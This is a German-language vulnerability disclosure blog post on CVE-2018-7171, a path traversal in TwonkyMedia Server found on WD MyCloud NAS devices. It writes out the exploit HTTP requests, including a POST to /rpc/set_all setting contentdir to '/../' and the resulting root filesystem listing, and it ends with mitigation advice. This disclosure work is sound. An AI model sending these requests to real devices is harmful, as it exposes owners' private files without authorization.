Dieser Blog-Eintrag behandelt die Schwachstelle CVE-2018-7171 im TwonkyMedia Server Versionen 7.0.11-8.5, welcher beispielsweise auf WD MyCloud-Geräten vorinstalliert ist. Diese ermöglicht das Auflisten aller auf den Geräten vorhandenen Dateien und Ordnern. Darüber hinaus ist es einem Angreifer nach dem Ausnützen der Schwachstelle möglich alle Mediendateien (Fotos, Videos und Musik) von den betroffenen Geräten und angeschlossener Peripherie (externe Festplatten, USB-Sticks, ...) herunterzuladen. Ursache für die Schwachstelle ist die fehlende Authorisierung und Eingabevalidierung beim Setzen der Konfigurationsparameter für den sogenannten TwonkyMedia Server.
"With Twonky from Lynx Technology, you can quickly discover your media libraries of digital videos, photos and music in your home, control them from mobile devices, and enjoy them on connected screens and speakers.Twonky Server is the industry leading DLNA/UPnP Media Server from Lynx Technology that enables sharing media content between connected devices. Twonky Server is used worldwide and is available as a standalone server (end user installable, e.g. for PCs/Macs) or an embedded server for devices such as NAS, routers/gateways and STBs.Twonky Server's web UI provides optimal capability for you to easily and reliably control and play back your media files in a variety of ways, and to "beam" those media files to other connected devices." --Auszug TwonkyMedia Server
Wie der Aussage des Hertstellers entnommen werden kann, dient der TwonkyMedia Server der Indexierung und Wiedergabe von Mediendateien. Diese können im Netzwerk "gebeamt" werden, sprich andere Netzwerkteilnehmer können diese auch wiedergeben oder downloaden.
Der TwonkyMedia Server ist auf zahlreichen Geräten vorinstalliert. Darüber hinaus leiten eine vielzahl von Routern den DLNA-Medienstreaming-Port, in diesem Fall Port 9000, automatisch weiter, wodurch dieser vom Internet aus erreichbar ist. Nachforschungen auf shodan.io haben ergeben, dass im Januar 2018 rund 24'000 TwonkyMedia Server-Instanzen öffentlich erreichbar waren. Nur ein Bruchteil der Installationen, rund drei Prozent, waren durch einen unauthorisierten Zugriff mittels eines Passwortes geschützt.
Im folgenden eine Auflistung der Geräte auf denen TwonkyMedia Server identifiziert wurden:
Um die Funktionsweise des TwonkyMedia Servers besser verstehen zu können, wurde der HTTP-Verkehr im Burp Suite mitverfolgt. Dabei wurde deutlich, dass in den Antworten des Webservers nicht nur die verfügbaren Ordner, sondern auch Dateien enthalten waren. Von der UI dargestellt wurden jedoch nur die Ordner.
Im folgenden HTTP-Verlauf wird eine solche Anfrage und die dazugehörige Antwort des TwonkyMedia Servers dargestellt.
HTTP Anfrage:
GET /rpc/dir?path= HTTP/1.1 Host: 192.168.188.9:9000 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: */* Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.188.9:9000/ X-Requested-With: XMLHttpRequest Connection: close
HTTP Antwort:
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Content-Language: en Content-Length: 83 Date: Thu, 18 Jan 2018 12:16:43 GMT Accept-Ranges: bytes Connection: close Expires: 0 Pragma: no-cache Cache-Control: no-cache EXT: Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1 / 001DNas_Prog 002DPublic 003Fraid_version.txt 004DSmartWare 005DTimeMachineBackup
Das vorherige Beispiel zeigt, dass bisher nur die Verzeichnisstruktur der im NAS als geteilte Ordner definierten Verzeichnisse eingesehen werden konnte. Darüber hinaus ist der Download aller indexierten Medieninhalte möglich (siehe TrustWave - WD-My-Cloud-EX2-Serves-Your-Files-to-Anyone)
Eine HTTP Anfrage an die folgende Adresse lieferte eine Übersicht aller Konfigurationsparameter des TwonkyMedia Servers:
Diese sehr umfangreiche Liste enthielt einige Parameter, die nicht über den TwonkyMedia Webserver konfiguriert werden konnten. Was nun, wenn man diese Parameter dennoch manipuliert?
Setzt man den Parameter contentdir auf "/../" so ist es zukünftig möglich das Gesamte Dateisystem zu erkunden:
HTTP Anfrage:
POST /rpc/set_all HTTP/1.1 Host: 192.168.188.9:9000 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.188.9:9000/ Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Content-Length: 19 DNT: 1 Connection: close contentdir=/../
Das folgende Beispiel zeigt die Antwort nach dem Patch des Parameters contentdir:
HTTP Anfrage:
GET /rpc/dir?path= HTTP/1.1 Host: 192.168.188.9:9000 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.188.9:9000/ X-Requested-With: XMLHttpRequest DNT: 1 Connection: close
HTTP Antwort:
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Content-Language: de Content-Length: 243 Date: Wed, 28 Mar 2018 02:28:12 GMT Accept-Ranges: bytes Connection: close Expires: 0 Pragma: no-cache Cache-Control: no-cache EXT: Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1 / 001D/ 002D/bin 003D/boot 004D/CacheVolume 005D/DataVolume 006D/dev 007D/etc 008D/home 009D/lib 010D/media 011D/mnt 012D/nfs 013D/opt 014D/proc 015D/root 016D/run 017D/sbin 018D/shares 019D/srv 020D/sys 021D/system 022D/tmp 023D/usr 024D/var
Nachdem der Parameter contentdir gepatcht wurde, ist es nun möglich in der TwonkyMedia Server konfigurationsseite jeden beliebigen Ordner für die Indexierung der Medieninhalte anzugeben. Nachdem der TwonkyMedia Server die indexierung vorgenommen hat können die Dateien einfach heruntergeladen oder betrachtet werden.
Für das patchen des contentdir Parameters und das Erkunden des Dateisystemes kann dieser Proof-of-Concept verwendet werden.
Mit dem Ausnützen dieser Schwachstelle ist es Angreifern somit nicht nur möglich tief in die Privatsphäre Ihrer Ziele einzudringen, sondern sie kann auch genutzt werden um weitere Angriffstechniken zu unterstützen. Beispielsweise kann ein Angreifer auf interne Informationen anderer Webserver, die auf dem Gerät laufen zugreifen, die zur kompletten Übernahme des Gerätes führen können.
Sollten eines Ihrer Geräte einen TwonkyMedia Server Version 7.0.11-8.5 betreiben, sehen Sie alle Medieninhalte auf dem Gerät als nicht länger privat an. Sie können prüfen, ob ein TwonkyMedia Server läuft, indem sie die folgende URL in ihrem Webbrowser eingeben http://IpDesNAS:9000. Da der TwonkyMedia Server auch auf anderen Ports vorgefunden wurde hier eine Auflistung aller enumerierten TwonkyMedia Server ports: 9000, 9001, 9002, 9003, 9004 und 9005. Teilweise ist der TwonkyMedia Server nicht per HTTP sondern nur per HTTPS erreichbar. Hierfür als URL folgendes verwenden https://IpDesNAS:9002. "IpDesNAS" können Sie auch durch die öffentliche IP-Adresse Ihres Routers ersetzen. Um die öffentliche IP-Adresse Ihres Routers herauszufinden können sie Beispielsweise http://ipinfo.io/ip im Webbrowser öffnen.
modzero empfiehlt TwonkyMedia Server-installationen mit einem Passwort zu schützen oder das DLNA-Medienstreaming zu deaktivieren, falls dieses nicht benötigt wird.